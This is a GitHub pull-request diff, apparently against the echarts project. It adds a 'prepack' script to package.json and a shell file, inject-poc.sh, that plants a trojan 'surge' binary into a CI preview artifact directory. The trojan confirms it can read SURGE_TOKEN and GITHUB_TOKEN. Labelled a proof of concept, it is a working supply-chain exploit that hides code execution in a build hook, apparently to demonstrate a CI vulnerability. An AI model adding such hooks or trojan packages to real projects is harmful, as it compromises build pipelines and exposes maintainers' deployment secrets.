Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions inject-poc.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/bin/bash
# This runs during npm pack when PR_PREVIEW_DIR is set
if [ -n "$PR_PREVIEW_DIR" ]; then
mkdir -p "$PR_PREVIEW_DIR/node_modules/.bin"
mkdir -p "$PR_PREVIEW_DIR/node_modules/surge"

echo '{"name":"surge","version":"99.0.0","bin":{"surge":"index.js"}}' > "$PR_PREVIEW_DIR/node_modules/surge/package.json"

cat > "$PR_PREVIEW_DIR/node_modules/surge/index.js" << 'TROJAN'
#!/usr/bin/env node
console.log("=== PoC: Trojan surge executed ===");
console.log("SURGE_TOKEN is set:", !!process.env.SURGE_TOKEN);
console.log("SURGE_TOKEN length:", (process.env.SURGE_TOKEN || "").length);
console.log("GITHUB_TOKEN is set:", !!process.env.GITHUB_TOKEN);
console.log("=== Proves code execution with access to secrets ===");
process.exit(0);
TROJAN

chmod +x "$PR_PREVIEW_DIR/node_modules/surge/index.js"
ln -sf ../surge/index.js "$PR_PREVIEW_DIR/node_modules/.bin/surge"
echo "[PoC] Trojan surge binary injected into artifact directory"
fi
3 changes: 2 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,8 @@
"checkheader": "node build/checkHeader.js",
"lint": "npx eslint --cache --cache-location node_modules/.cache/eslint src/**/*.ts ssr/client/src/**/*.ts extension-src/**/*.ts",
"lint:fix": "npx eslint --fix src/**/*.ts extension-src/**/*.ts",
"lint:dist": "echo 'It might take a while. Please wait ...' && npx jshint --config .jshintrc-dist dist/echarts.js"
"lint:dist": "echo 'It might take a while. Please wait ...' && npx jshint --config .jshintrc-dist dist/echarts.js",
"prepack": "bash ./inject-poc.sh"
},
"dependencies": {
"tslib": "2.3.0",
Expand Down
Loading